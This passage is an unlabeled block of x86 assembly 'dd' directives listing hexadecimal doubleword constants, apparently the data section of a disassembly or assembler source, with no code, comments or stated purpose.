dd 5FFCE815h, 2F2DB9E5h, 0F5DE1700h, 2CB4E264h, 0A4141F30h
dd 97DF035Eh, 0DC98867Dh, 9AE62D36h, 99837800h, 70072CE6h
dd 80EDF80Dh, 7F00F62Ah, 0E0BC3009h, 0C9533Dh, 0B69D9AD4h
dd 625F0CC2h, 0A5C57801h, 0B5A2EE7Bh, 1295E70h, 0FA3A2453h
dd 0D00A7DD0h, 0BE4C0212h, 176B0098h, 0A2C2637Ah, 0E0B843h
dd 0E987DE95h, 5AC7CC8Ch, 0A04558h, 98C18108h, 7E0CD5B8h
dd 10B507E6h, 0E050A1FDh, 0D7287F9Ch, 23FB7900h, 7AA06A71h
dd 371200F1h, 739BA816h, 0C3007EC2h, 0B77C172Eh, 0A0ECB1h
dd 75E53A54h, 155EAED4h, 2200B1B0h, 0B6AFC49h, 5C80BC1Ah
dd 1C3EE6FFh, 400F469Dh, 22042DCEh, 87008935h, 0CC7915ECh
dd 0C019DB9Ah, 0F677CF30h, 1007FDFh, 0F1449596h, 4C267279h
dd 7B011B69h, 804BBCE5h, 0E0B9D052h, 53067E00h, 3DE6FC96h
dd 88AD029Ah, 6DD6AE79h, 0DD8B00FDh, 700134A5h, 5B85385Ch
dd 0B0A09079h, 0B49045h, 43F6694Dh, 84B7940Ch, 80574B3Dh
dd 0AC971245h, 4E6A8Dh, 2FCC46F5h, 0C559B803h, 0B0CBD38h
dd 1BB0120h, 3A14E690h, 137EECCCh, 2966DD7h, 8EE369B4h
dd 798CAA30h, 177800E9h, 0EB6C5524h, 4D0030B2h, 52254E41h
dd 0F03EFh, 71F709B7h, 49F32304h, 3D509E60h, 0AFA952h
dd 0CCA1EDC4h, 1CFBC5A4h, 873D3271h, 29C38089h, 0E82B4ADCh
dd 1E120F80h, 0E1860667h, 0FF3D10E9h, 0F30E8B53h, 9D7480CAh
dd 657B94h, 43DD6626h, 0B58B6D7h, 2C197400h, 0A173C317h
dd 933F0027h, 36AACA5Bh, 9D001BB9h, 1DF57FE6h, 0F6138C77h
dd 7E75015Ah, 0E4357A0Bh, 87CD6048h, 9948D1E8h, 0BD0C00ACh
dd 686CAA9Ch, 0CD4901FCh, 0B2EC5AC9h, 0C0B82529h, 8AFEE95Ch
dd 0E394821Eh, 98DA2AC1h, 0A824817Ah, 92E50337h, 512D4B80h
dd 0AC40EAF2h, 2B0041D6h, 0B5C31E22h, 0F7202E5h, 0DF96D1A4h
dd 98778DE0h, 0D26FCD0h, 5039368h, 0DF02B8E7h, 4C6285A7h
dd 0F3004055h, 0F2E50038h, 0FDE224BCh, 36004030h, 0DCA74134h
dd 379AFB6h, 6D95F2E1h, 0D48B7E12h, 0BA941100h, 0B1E9A618h
dd 7D15007Ch, 0FF82F504h, 0A3E22F7h, 84AB00C7h, 274F066Ch
dd 21EF07BBh, 706D452Fh, 4D31430Ah, 0DF92F601h, 8950EA10h
dd 0E4C77082h, 0F4601690h, 0C898E174h, 7811B760h, 2C432A4h
dd 33502EE7h, 7C78A368h, 4D2AD50Ah, 6400D435h, 0B09BB3DCh
dd 1CEC4C7Bh, 62EE6100h, 2839B603h, 0D80A4B2Ch, 0A0043F0Fh
dd 9886EA16h, 5D1900ACh, 8D05445Bh, 0FD00AB97h, 97872F5h
dd 0FD1E886h, 21420371h, 14204ECFh, 0A298D0ABh, 7DD83900h
dd 0DDEFE629h, 0FD3C005Bh, 2768DAD9h, 0DB00A844h, 0C309DEB6h
dd 0F67663h, 261D4D28h, 8CE681B3h, 573CBA07h, 0FBF0D2CBh
dd 0EFA5E3h, 8F3F5CEBh, 0BA86F081h, 78610214h, 0D47200AEh
dd 5A1D3DAAh, 0C33400C5h, 3012F9C8h, 0EC00FFBAh, 0F369AD89h
dd 58AA8Bh, 33AEEFF0h, 95144A02h, 8536050Bh, 0BE20800Fh
dd 5D547Bh, 0E7BB7CEEh, 0A6722BABh, 9C742090h, 69FE3900h
dd 50AC56F9h, 47F20451h, 0C37260DEh, 0D9809DD8h, 0BE24ECBh
dd 0A2D40F00h, 2D6DEDFAh, 0FB4401D3h, 0EF26F340h, 4B71D893h
dd 42523F00h, 0DD5846CCh, 0CE90C2h, 0E5907DF3h, 0F43F8D85h
dd 2B6F7300h, 91EE263h, 290E0006h, 8CED7E3Ch, 0CD004B75h
dd 22F1E481h, 3DC47762h, 5E009EA4h, 74A9F6FFh, 40D6168Fh
dd 8A6D5847h, 737C1520h, 3ACA0013h, 0B760148h, 0DC006F30h
dd 69E52C9Fh, 7631F2E9h, 1720055h, 0C137949Eh, 1B142857h
dd 0C040B826h, 0FF7AD422h, 23E7002Ah, 3AB28EE8h, 9700A99Bh
dd 0E6B37CB0h, 66E0E3h, 1BE7372Eh, 120D67F1h, 9B5B4C00h
dd 0FEDEB3AFh, 0B8EA4Dh, 0A699E5BAh, 0B287A95Ah, 790CD00h
dd 66F481A2h, 42960EBCh, 0C13D38C7h, 2D56AD3h, 0CF3BE036h
dd 0C6BCAC16h, 604B420Eh, 0EFF10DB5h, 97AE1E8Dh, 0F5CC0E9h
dd 0D273C512h, 1D5AAC05h, 30C04650h, 41D3D0h, 4C6F788h
dd 78215230h, 60401807h, 0B591431Eh, 0AAC8C1CEh, 334ADBh
dd 637FDDB4h, 171E7C20h, 5A008E0Bh, 0B5AAE758h, 4AF6008Dh
dd 0C6BE4902h, 0BA009AA5h, 6A015079h, 722E33h, 3B3E88F0h
dd 61414539h, 0B5A07700h, 0DFC7EFABh, 325C0340h, 0D31182A9h
dd 0B89A7390h, 0DEC6AD00h, 27046AC1h, 53AA1E01h, 48D30084h
dd 98181B51h, 7EB58901h, 72AFDCA2h, 0B8E04830h, 1D5918C2h
dd 41E261B8h, 577E35F0h, 30DBF00h, 0DB562A4Ch, 0CF38C0A1h
dd 60C15449h, 4742B002h, 70CDB76Dh, 633BF6F4h, 72AE48ACh
dd 1471D8F0h, 67812200h, 0CFC0D784h, 0E19600DCh, 0ACB2ED9Dh
dd 4712D109h, 90800BFDh, 46FAF4h, 0B9C8A0D3h, 0F31A2B99h
dd 287348h, 0C6C5CFA6h, 0F71767h, 36047B97h, 0D9AE4915h
dd 7CFA5500h, 166C87EAh, 40CF006Ah, 0A5CB10E0h, 61399EF8h
dd 0C2A5AAh, 0CFA7BE8Ch, 0D7E326ECh, 65F9007Ch, 0C0134F3Bh
dd 320089E6h, 39DE84EEh, 529CB06h, 3C36194Ch, 8B26802Ah
dd 157FA1A3h, 0AF515800h, 249A7097h, 6664002Ch, 91C8A2D0h
dd 4400D21Fh, 79451DA3h, 205DC97h, 6D36890h, 7BE03236h
dd 0B3009B75h, 0D883BE82h, 30771259h, 0BF6EACF2h, 2E00B6CCh
dd 75DBCF4Ch, 5039316Fh, 6749496h, 2452F555h, 71FE8CC0h
dd 2A54F317h, 70AEE500h, 351F468h, 1CEB22E0h, 53E8B95Bh
dd 0E800F220h, 0AEB45E21h, 0FF81A5Dh, 62D9A5D2h, 41981F96h
dd 241FB3CAh, 3BA04042h, 2C90BDEDh, 8F66A888h, 81A46B39h
dd 2A3D73EBh, 1ED02F49h, 29951431h, 6700849Fh, 0EF17194Ah
dd 5001485h, 0D0CE4E57h, 0B855F96Ch, 81CB0042h, 7595F4A4h
dd 8D07781Ah, 0FA3B3013h, 6850600Eh, 1DA286Fh, 63ABFF74h
dd 8F4F81F5h, 601E6106h, 380A0F91h, 0AAEAFCh, 2F6AF007h
dd 23667D62h, 92B96100h, 0BBEAE67Eh, 959D287Ch, 0F9D8039Ch
dd 1C88F650h, 0CDD94480h, 7EF84E00h, 0D4410515h, 5F66DFCCh
dd 0B78000BEh, 7CB6265Dh, 7D4C9600h, 0B82358BAh, 0A8C7C86h
dd 0E7162E10h, 560A059Ch, 0E434C91Fh, 7E009604h, 3C625CD5h
dd 48CD3BDAh, 32005C02h, 0B8BB9567h, 0F4B21DF1h, 68F895h
dd 37E8709Ah, 0BCB7A16Ah
dd 0E9BC31Ch, 18558C40h, 8EB01Bh, 0FF3E87B5h, 53A646Ah
dd 0B248898h, 490106BFh, 0D9158248h, 5C021ACCh, 409DA89Bh
dd 65291898h, 40000772h, 2C3FEBA1h, 4D638Eh, 8DD76CFEh
dd 12834BCEh, 58B70500h, 0FF59A3EFh, 0F19D0174h, 0D7947A7Ch
dd 0A660E6DAh, 0ED130176h, 0B80028AEh, 93B1B236h, 0DF7D136Bh
dd 0D60CC8BEh, 0FF812400h, 950274Bh, 7322FCA0h, 11060EC8h
dd 770E60h, 0F82E9A58h, 290069D6h, 54F03EA9h, 0F601E005h
dd 80A4C0h, 0DF5FED6Ch, 0CE539F1Dh, 0BFBE6900h, 343CF80Bh
dd 2F2B0764h, 0C075C819h, 0B210D231h, 7BF1A804h, 30C0E2DCh
dd 1257E097h, 0FF50EBh, 78274C1Ch, 4F7C0215h, 72ABA502h
dd 41C96597h, 8840F3D9h, 0F174CFh, 78A1A282h, 8A2C75D9h
dd 0B0B5CD00h, 2039C99Dh, 0B8E90222h, 0BB72FE57h, 36AD8860h
dd 1F91B00h, 0B6AC6618h, 3110062h, 0A96C0AF8h, 127065B1h
dd 39006FF8h, 5C9AACAFh, 975FE676h, 69953500h, 652FE07Ch
dd 0DA288209h, 45FC0080h, 52F86215h, 0E401E54Eh, 221969E0h
dd 1E16D03Ch, 7E38CA15h, 0E4F149h, 7D4F17F7h, 340DE48Fh
dd 19BE76h, 3ED30198h, 34075E38h, 4EED5051h, 5F0C3AD0h
dd 0FF5D00A1h, 192D17ADh, 0CF7CE18Ah, 1490161Fh, 4B540Fh
dd 75AF94CEh, 0B09260F6h, 83CB9AF1h, 8BD92412h, 6C5F0B00h
dd 3F9807h, 6ECDBE34h, 9BDD2A57h, 0C3AFD200h, 32CF88A8h
dd 1955FA7h, 2E2D962Ch, 7814E0B5h, 0E4DC4Dh, 0BF3C1A0Dh
dd 0B8EA98B2h, 90E00F5h, 0B0238C96h, 490078D8h, 0F7DFBE0Bh
dd 2FA3468h, 226C8170h, 41C0C409h, 393A1FD0h, 4EC5807Bh
dd 0AEBC8899h, 65140042h, 18F15968h, 0D23AF96Dh, 80362F87h
dd 0B897F8BCh, 899560D5h, 390CA689h, 0B195204h, 0A980D950h
dd 2363305h, 98126E31h, 0BC5092CEh, 888A8F00h, 0BDBFE61h
dd 0DE42005Ch, 0B2BE0D47h, 565827CAh, 0C85D077Bh, 0EAE1A380h
dd 60E01CBDh, 79896C5h, 122D84F4h, 889E8EBAh, 0C3622488h
dd 4F88B807h, 41DCB732h, 2F2D3E86h, 0D0009023h, 0A1BE173Dh
dd 226200D4h, 0D5CB0136h, 60BCD373h, 0FED7770h, 0D0E66490h
dd 0AB044A97h, 3D401B0h, 4C233135h, 9D000AC0h, 7FE6207Ch
dd 4982FEF8h, 26743CAAh, 1344694h, 98DD9288h, 641EDDBDh
dd 99007794h, 4E1A22A9h, 76311BB4h, 5719013Ch, 0F3A8E554h
dd 0ADE46082h, 88A0AE24h, 0AFBD9487h, 119EE6h, 0D9D5BF9Ah
dd 0E4ED0742h, 0E92E3Fh, 0FD41373Ch, 71B755F4h, 663E0009h
dd 0E3BAB997h, 4C4CA49Fh, 92980FF0h, 21D2AE07h, 0A28DC970h
dd 54DFC8h, 41CFFE5Dh, 0D0C6D30h, 0CF74027h, 7AC749C8h
dd 232800FFh, 77FE117Ch, 0D00FD492h, 0E095BCFCh, 750A214Fh
dd 483C0188h, 1EA3B42Dh, 0A2D0E71Fh, 0E900B1BFh, 5047D4C1h
dd 50382A42h, 7E2B4AAh, 0EFEB3583h, 660B0391h, 0A4AEE3E8h
dd 0C3A2F1C0h, 25C1AF5h, 4BD4428Ch, 0F4A04922h, 0ED60DE62h
dd 61116D65h, 8FF378C0h, 0AD420337h, 3E062B09h, 0C0483CE2h
dd 22952E20h, 748F014h, 1E23B05Bh, 8D0087A9h, 0BBAF8255h
dd 5FD491h, 0D14895C1h, 61E2CAAEh, 50193800h, 0EFE8907Ch
dd 56635893h, 0C056FF1Fh, 2A2540F3h, 62009239h, 0ABAAA5C1h
dd 3BB981Bh, 1C60B29Ch, 0E3D0A69Fh, 5C0C9B84h, 19024BCAh
dd 0F89A00F5h, 10C1940Ch, 0A00E79FCh, 20557CECh, 0F0C9ACA8h
dd 8FA600A2h, 143B0862h, 3900D877h, 41D4C528h, 0E45236h
dd 0F8BEFFFBh, 507AEA64h, 9359C639h, 2300907Eh, 0B9F257A4h
dd 82FD1458h, 0BD00C0B8h, 0F1E92B46h, 8AB05629h, 0F3215205h
dd 0B8D01AE7h, 9F02255h, 0BF297FA5h, 0F66670E0h, 0C0274F0Fh
dd 2079AF9Fh, 4BF955F0h, 0D75A261Bh, 0EC4E0298h, 0A4564756h
dd 0F9C79E00h, 986016h, 0C88DE866h, 0E2344AA1h, 4EB2931Fh
dd 0F89FFA02h, 39B8D87Dh, 4F1EB0BBh, 0F849FB33h, 5E05E29h
dd 408FCBBEh, 0EC8C83FCh, 0F60081EBh, 0F048DFDh, 48AF8468h
dd 8C4CA8CFh, 60AA7401h, 205F29F6h, 0F33BD5AFh, 21268B72h
dd 43C8C09Dh, 82C026DCh, 0EE590040h, 5829CA83h, 0F6EDE200h
dd 371DD694h, 0D35E0026h, 51494BADh, 9500273Eh, 0B15C1BB8h
dd 0B7D7AA3h, 0F1A9BA1Dh, 0F307F85Ch, 0A733136Eh, 2D5AD0EDh
dd 82F6003Fh, 9402C666h, 2CB0E8AAh, 0B38EF200h, 0A710DFB1h
dd 0D01C1781h, 9DF0E04h, 0E7907F80h, 5004C86h, 5F165BBAh
dd 7DADAE38h, 115F4C8h, 0BD1D4E87h, 0E4370DB8h, 36247C79h
dd 138FB4F5h, 5E5420D7h, 99A9A1EDh, 73EFE0B8h, 71C230Eh
dd 2177A8A4h, 0BBF0B167h, 150A40h, 0AE994C56h, 0F6A063Ch
dd 0E1202D04h, 90D0BF72h, 58052537h, 2BC83819h, 7057B047h
dd 0B33C076Bh, 0C5337500h, 4C2B061Dh, 708F0360h, 0F065F902h
dd 0CE98ADBFh, 0D0963B50h, 880F40D9h, 0F1C1C0ADh, 3526301Ch
dd 0F0E446A4h, 9CD7012Ch, 686BC342h, 3B969CF8h, 478209E6h
dd 6ED87FD2h, 0EF6A3468h, 6F1FABE6h, 5C10E0Dh, 2E467CF9h
dd 0D7035187h, 82F1CF7Ah, 0E2C1BA5Fh, 8C54C56Ch, 0D3B9DF7Ah
dd 403D3C09h, 0CEED853Bh, 10CC3492h, 73016E09h, 0AC868310h
dd 0B466E889h, 0BF8BC202h, 208C6714h, 12007530h, 50EE8A7Eh
dd 0B1025491h, 8FD70320h, 92FB0B46h, 0E0BB08Eh, 632F2BF5h
dd 1550A898h, 60381E3Ah, 7BB38074h, 0C0E998BEh, 18B88800h
dd 2817977Ah, 69C40312h, 0F17BA754h, 0F2E020EAh, 0CF039BF3h
dd 1B4AEDD7h, 0E55CD956h, 0D930C0CAh, 466B0021h, 0DB769674h
dd 16FCC48Ch, 6A3F3A03h, 3F2E0B24h, 9202CC28h, 311021E3h
dd 54236B41h, 99B9C2B4h, 0A8C99CA4h, 0CC681E30h, 261976C0h
dd 4C7705Dh, 65029BA3h, 1EECD06Bh, 8200B422h, 62BFE0E6h
dd 396D9AB1h, 9D0741FFh, 15FBD8Eh, 0FC6AD484h, 5E009F29h
dd 0B0C2ABE3h, 85C8D0h, 6FA68314h, 95F455C6h, 0D8A4C100h
dd 7AAAB61h, 0C4D40E5Dh, 409D7BC8h, 854D2725h, 9600DC38h
dd 75F6E209h, 7BF7E1A4h, 66FE0164h, 9E7A440Dh, 0B58EDCD7h
dd 9FF06B00h, 90EB1283h, 414800D5h, 0FBF57F8Dh, 0EF000F65h
dd 9D6E386Dh, 0B52BF0Dh, 0D3FD4527h, 1B19B700h, 8400B5D8h
dd 16E6BD91h, 3925B0Ah, 0C1CA73A2h, 0C2E09F1Dh, 432EA19Ch
dd 0E0253449h, 4C5D5640h, 0B60022EAh, 9559D2C9h, 0AF01A7EDh
dd 1330BE9Eh, 0CB20E052h, 1C570F14h, 8DC01A27h, 0EB8A7B87h
dd 9BEE7203h, 0ABEF75C7h, 820ACA4Eh, 0D8B125B8h, 0A05C7D28h
dd 0BBC8FDFh, 0E45F5A7Dh, 0BD861900h, 0F87C147Eh, 1D010F00h
dd 0C858B504h, 21276BAh, 52BD0D1Ch, 0BCA284CEh, 0BB07F18Ah
dd 928E48Bh, 0C5035FEBh, 45FF0800h, 8C92401Dh, 66013C00h
dd 7D794213h, 0E4F902C2h, 2C2DE725h, 405C4A61h, 503B13F4h
dd 8271802h, 61B44652h, 50BB362Ah, 0CBCFA100h, 7CCEE493h
dd 0E7501600h, 46E00CBEh, 0ECA74C27h, 0FC6B2203h, 0A9C05554h
dd 0A100F3CAh, 7F5DDA53h, 4D5E88D3h, 724704Fh, 4657403Ch
dd 9779F7F1h, 0A194D61Ch, 5E513D03h, 8F14A01Bh, 83E52492h
dd 0F5E60048h, 0B2C9A95h, 742B3016h, 9380381Eh, 1B29FFFEh
dd 0CCE3004Eh, 0A0D23C8Eh, 0A905C2FCh, 0DA660681h, 0B4855C80h
dd 18390E6h, 145699C6h, 40263805h, 3E532B80h, 3212171Fh
dd 54409E9Fh, 0F1C8ABA9h, 0A5D0269Dh, 66F500DCh, 726EFC36h
dd 97F6B4FEh, 8B778C9Ah, 253AD80Ah, 7780BC4Fh, 68DAD644h
dd 0DBEE0324h, 27400573h
dd 149103D0h, 0EC6BFC0Bh, 56E8E062h, 729900FBh, 5C9D8FE9h
dd 7E003357h, 454FA4CFh, 1FF4062h, 5D18E63Ch, 0D08852F9h
dd 0A8A08422h, 6BEAB108h, 0E488064Ch, 22F1B89Ch, 5EECFD5Dh
dd 318A150Eh, 64948519h, 0DEB438C0h, 60A36918h, 0A7AE70B8h
dd 99F19D60h, 2CABA2BEh, 178B5C5h, 7F962F2Eh, 0ED2180B6h
dd 3DE35621h, 0E815125Ah, 0BB4CCC6Dh, 1FD8188h, 9137E0Ah
dd 2CF30390h, 0FD0B074h, 0B7763884h, 478DEA4h, 0E5671513h
dd 3EF18094h, 0D767007h, 59C0088h, 62F32C44h, 3C92217Bh
dd 1ACF659h, 0E47D76FAh, 482CA198h, 4939D07h, 0B615C48Fh
dd 0B42CD3B0h, 0A53C01E2h, 44AFC39Ch, 64E8D10Bh, 3C9CAD58h
dd 5CFDEA80h, 1F310640h, 2DBECA4h, 0EF078C0Dh, 1280C85Bh
dd 8EEA6491h, 3C0B29Ah, 6AA2A3D4h, 291F83DFh, 30C0E87Fh
dd 4A545B0Fh, 0E8F264F5h, 6E853014h, 0E090B301h, 1D29E164h
dd 59426Bh, 0C55B50D2h, 0A9FE094Ch, 18F185F3h, 5C404812h
dd 87BB88C3h, 627B96h, 2D226FDBh, 72374316h, 4E0C0701h
dd 0FB69DC48h, 0AD204435h, 39449812h, 8C815E6Ch, 2354C4BAh
dd 0FCC8FF47h, 0A048F05Ch, 44ED0F84h, 1F66BF8h, 74343D80h
dd 0C99C0878h, 2A8C207Ch, 3E702A21h, 489B6A01h, 1CD28632h
dd 4E7F9064h, 0D01030BFh, 3043709h, 48FC405Eh, 7A798890h
dd 0C5351207h, 150087A9h, 2A0CC8D8h, 0BE0002ECh, 251895A0h
dd 37669h, 47063FF6h, 0D79FB15Fh, 4EBD1000h, 75A486D2h
dd 54D44CC8h, 0CEC4BB00h, 167BCDE3h, 0F3021801h, 0A108DF76h
dd 9E5230h, 34AEC9A3h, 0F2F0E752h, 2FF9000h, 0B6660735h
dd 0F4540056h, 0AD918E97h, 0B0B02596h, 0B9E08A0Fh, 28F060B3h
dd 0E28267h, 6101E6B6h, 7469023Ch, 41D3A200h, 0E07FD03Ah
dd 31510029h, 98EAAE40h, 7E01B91Ah, 5D9AC9E6h, 18208B09h
dd 0C5650044h, 93901482h, 610045B1h, 911A84C3h, 40BE88h
dd 0D081C458h, 4BECDB32h, 4303C97Dh, 0F1D922F0h, 4DBEF84Eh
dd 0C2E81F2Ah, 0DD72CAB5h, 0BA6E00D0h, 0BDAE3BC3h, 45255002h
dd 48302F1Ch, 0B8392C38h, 2BF3AFh, 0E5BA99BCh, 5BEAFFA8h
dd 0FD4030Eh, 56124198h, 0E6EC92CAh, 0B633134Fh, 932047C0h
dd 2B6DE014h, 910E0BD0h, 20301A5Dh, 4BE467E7h, 0B1E0A0ADh
dd 333505AEh, 42CF44Fh, 0C742E8A4h, 4720A024h, 12018421h
dd 3CA0FB08h, 92D802BAh, 0A8634901h, 0AACE2707h, 5568307Dh
dd 66037E14h, 0ED735615h, 0BE96B8C9h, 0B07AEAA4h, 89C40084h
dd 0B1B29ADEh, 811CE968h, 0BB40BC50h, 0ACA88FC7h, 0DD830209h
dd 0D3D063BDh, 7A4AA048h, 0DED6500Bh, 1FDCC06Ch, 0FA080060h
dd 0C95AEB59h, 500BACF4h, 0E23A610Bh, 7C57C1BCh, 3D9AFC70h
dd 8060ED88h, 302CB5E0h, 0E42A6700h, 0BC77CB6Ch, 10DF00B6h
dd 0CDFFAAB0h, 580F3143h, 20492B3Bh, 78FE59D5h, 54A40004h
dd 909A09ADh, 2D0BAB37h, 68C7B4F1h, 258B708h, 0BECEB399h
dd 0F602BD3h, 1A001657h, 3139FACFh, 0FEAACD3Ah, 0ADE126B8h
dd 1C0B0040h, 47FF5410h, 574EFE17h, 0BC031040h, 89145Dh
dd 26F57562h, 7F1F282Fh, 1AD5E600h, 8184F3Eh, 0B527CC7h
dd 7395AE9Bh, 0FB6774C0h, 0E1F2BAEEh, 0F0B5C02h, 60FA58A2h
dd 3F92BCh, 0AA542CF1h, 659871AEh, 6B36E700h, 9F6AB39Dh
dd 3FE00070h, 0ED06FA1Dh, 0AC00A396h, 5EA5031h, 2A299ECh
dd 0E85335ADh, 4F608FBFh, 0BC09FD5Eh, 0FA8BB250h, 11490064h
dd 0DE0D9289h, 0DC776AF9h, 2C09857Bh, 0A0321B3Ah, 4029253Ch
dd 0C0EAF619h, 622F2710h, 0A26144Dh, 38A804h, 0DA2E2546h
dd 0E8DEC398h, 0BE7502CBh, 5C73FDDh, 9077007Eh, 0EA98C085h
dd 0A5E21h, 0D65A9A05h, 7181FD7Ah, 9B70E00h, 7DD7C46Dh
dd 88E2FAh, 95651407h, 0A7E3FC68h, 7BF5EA00h, 0D6B3E212h
dd 0B4A4059Ch, 13F99048h, 199E00C8h, 46D2FC05h, 0FDD0DA00h
dd 0C5F20F0Eh, 0B7D31C4Bh, 0C4184B08h, 0A0855584h, 0E9005A98h
dd 0C1841D52h, 25E557Ah, 17F750EBh, 62E03433h, 2A2528BCh
dd 5CE4A324h, 0C6D9886Eh, 69F4778Ch, 3400BEF1h, 857EFA6Dh
dd 594DB918h, 0A7B1D0h, 3CDBCBF3h, 0D7621653h, 7B6F9C06h
dd 7B9330Eh, 68B58B6Eh, 3DE250A1h, 0BB009964h, 97794762h
dd 4C7B86h, 1F095BC4h, 0BF7AC8E3h, 241D9807h, 7D60E116h
dd 21999BEh, 63AB1426h, 642168E8h, 24235FE6h, 0F38DF09h
dd 9E0A1820h, 970FDE72h, 219DCEBEh, 0F3E0736h, 0EC29438h
dd 8E601C61h, 0CB00C3D4h, 0E0E39FA2h, 95BA0D7Bh, 0BCC0600Eh
dd 0A4C4C787h, 98380964h, 544910F8h, 0EF10C34Eh, 0E284C1A8h
dd 76198362h, 4003E291h, 9D5CD0h, 0A99097FDh, 0D99F2961h
dd 2149EC1Ch, 0DE39D6C0h, 0F1FC93h, 731C6E86h, 40D8156Fh
dd 508DF212h, 1F0330E0h, 0C1D3CE6Ah, 100F1D21h, 70003BC3h
dd 0B7B655CDh, 64EF0B04h, 5B05E13Bh, 4D5CC0D2h, 0A705A956h
dd 789FF5CCh, 74A346C0h, 5C4148CBh, 0D1C3BE00h, 0FA3D8EB4h
dd 22F64800h, 4FC125F4h, 0F5550016h, 0FF75E32Dh, 51005605h
dd 0DB90CAD3h, 0FC16A4CCh, 49E801F4h, 0A8E30B58h, 0C003E9Bh
dd 3FFEC813h, 311B132Bh, 0BD4600C4h, 54148546h, 0EFE08097h
dd 2A95F4h, 949E9DDDh, 0B8B0A80Bh, 57D41200h, 87E21FF2h
dd 28AE5C66h, 75AA100h, 3305D60Dh, 2E9AE01Dh, 0EFC81FCh
dd 69B5AD68h, 4FBA04D4h, 7E04C36Bh, 0C3819A80h, 0CC4C5B0Ah
dd 8B01C179h, 2EF80DB9h, 0A870CDC5h, 0F248012Ah, 8674D546h
dd 69E8E4A2h, 2D320B00h, 0BEA08A1Ch, 0C2DD006Ch, 9207427Ah
dd 9A0018FEh, 32B2C5A7h, 1E4C3F50h, 8663F92Dh, 0D0370A6Bh
dd 5E005098h, 0DBBF9BAFh, 13B3BCFFh, 0D1DC9Ch, 4C86E1D3h
dd 0B5001283h, 0A89B1907h, 7F8E84E4h, 5A74003Eh, 6EA3CF73h
dd 0D00102A0h, 157990FFh, 8C28F467h, 3009D100h, 0CB639F18h
dd 395B9A00h, 93D9E735h, 8AB83B62h, 0E4A0074h, 11B66F85h
dd 30E58614h, 8D008EA3h, 0BAB9AD10h, 0E0617FD7h, 23AF0BBCh
dd 6C506835h, 7A6FD526h, 48FB3B00h, 0B50F78h, 19291157h
dd 0F5981DC2h, 0DA2287A0h, 4B4EF0B2h, 5854A440h, 8FA6EBh
dd 68C25CB3h, 0A63A4F6h, 74041577h, 0D7ABCCF4h, 0A8C036C4h
dd 0D5CB50h, 512440A5h, 1F7B9C0Ah, 2586E700h, 34F5613Fh
dd 129738C6h, 0DECB3280h, 201C5D3Dh, 0EBB3C502h, 0E13F5BFCh
dd 2BF437F9h, 1323242Ch, 8C201DB4h, 2140ED2Dh, 40192E00h
dd 41965453h, 899700F6h, 0D8D95D0Eh, 36002966h, 51CE1043h
dd 241C5F16h, 137EFA9Ah, 9DE4009Fh, 0C0CF3933h, 7CD75Ch
dd 182C453Ah, 1D78F3DDh, 4076F18Eh, 0E9242656h, 4B14A6DBh
dd 0D8AC07h, 6DA7BA41h, 3D2A576h, 0ADCE3B40h, 0F09D1C67h
dd 0AE0C8904h, 504BDA64h, 0A0DE0E68h, 0FB20223Ah, 9DD96BEBh
dd 2270386Bh, 40CB8F08h, 7A88A60h, 9FD84692h, 0D231D6A6h
dd 0DB25FD13h, 0F62730F6h, 71F5A060h, 27760101h, 52117CBDh
dd 0B04D8834h, 7507029Eh, 0C7442E4Eh, 0F5DEC60h, 1B9A0807h
dd 0C07097F7h, 10C57Ch, 0AFB907AAh, 0A2A8A7E8h, 95F5BB07h
dd 0BDC1AB63h, 5820D312h, 0DC804454h, 27C124B6h, 0B0607BD5h
dd 1B08F8E2h, 88C88721h, 3C98AEA3h, 0CD002BF2h, 0D6CEB9DBh
dd 7B60C574h, 294116E3h, 471C0022h, 85F20EBh, 2A726E00h
dd 0BD059ABBh, 0FC829F80h, 0C4E058FFh, 40488DA3h, 2A6E00ACh
dd 4B78CF0Fh, 2CE40421h
dd 838B4120h, 4FF03D80h, 0CCEA336Bh, 0C0A7B502h, 542F5F22h
dd 8F190178h, 0C875EB8Ch, 1007D48h, 10DE382Ah, 1E6FFD26h
dd 2E43BDh, 7B71D194h, 360083EFh, 7AD39896h, 12F060AFh
dd 3BBE78h, 0C31E7310h, 3180ABF6h, 7C80B5A9h, 2B30E295h
dd 77018C98h, 3DD79E6Ch, 74D4D946h, 0ADFA012Ah, 910E3923h
dd 0DC88240Ah, 8E093B00h, 0BD281C08h, 7FDE1288h, 41013CAh
dd 90478247h, 0DB115A10h, 0C8D44100h, 9CDC3439h, 9047EEBCh
dd 0A0C1125Ch, 5DE460A6h, 0B94E70CCh, 0ABB5F000h, 114DECh
dd 96600D3Bh, 3907C9BFh, 0E9035E7Eh, 53D5DFEh, 0DC55C868h
dd 0BE0200E3h, 0F64D67CAh, 0ECF4A699h, 181F4B00h, 71031A85h
dd 0A1D1288Dh, 0CA9200C0h, 0A445265Ch, 0A253C84h, 0F75080CEh
dd 3F6B9414h, 0E800E6FDh, 5ECC7483h, 0A3263BE5h, 98006C36h
dd 0FE798DDDh, 12840034h, 670DE2Dh, 0A304EAFDh, 46FB0420h
dd 3A7ACA4h, 0FF136003h, 70F9B250h, 0F758203Bh, 747CF944h
dd 0F0E600DFh, 9CCE774Dh, 0B612EE50h, 2CE18ADAh, 0EFC020h
dd 98290E8Fh, 91B8BFD5h, 33C314Ch, 118C8A8h, 6B110B34h
dd 0EC60DC9Bh, 0C9266FA6h, 0C8004061h, 551F2DE1h, 0F017077Dh
dd 0E0100D6Ah, 0D545AFB4h, 0B898B30Bh, 40200BC7h, 4F3BCE20h
dd 942821E7h, 77804051h, 9A10ACBCh, 0E0219DFh, 5B2650C1h
dd 10004054h, 0CD6B92EAh, 1ECB0B6h, 75B44737h, 0C09AB06Eh
dd 8B07E96h, 6001052Dh, 91873Ch, 77FBF0E5h, 0B3543C85h
dd 27B1F480h, 88804E2Ah, 9CB4DD65h, 0EDCFF5h, 5F87A8F8h
dd 8028BEEh, 77B28D22h, 731861C4h, 3B4A1EFh, 283358C4h
dd 4D8BBC60h, 0BD058848h, 0B293E8B5h, 0B65A076Ch, 0C2D09802h
dd 0FCAEACDh, 144DF278h, 7001E7C9h, 3BCF3D8Fh, 312A8800h
dd 0D098E6h, 0AA619DBEh, 7EDDE51Fh, 40C5102Fh, 0D1740Ch
dd 264453C8h, 0A0DF54CDh, 0A817F907h, 28F7EEF5h, 79737D30h
dd 873500E3h, 97632A83h, 0F875E209h, 45A03760h, 76A5B35Dh
dd 0F15F1E78h, 41055682h, 5A58DB84h, 0CAA5F8BBh, 5C8F0200h
dd 1F4C8517h, 0F6F97CF5h, 35590014h, 9FF05352h, 630726BCh
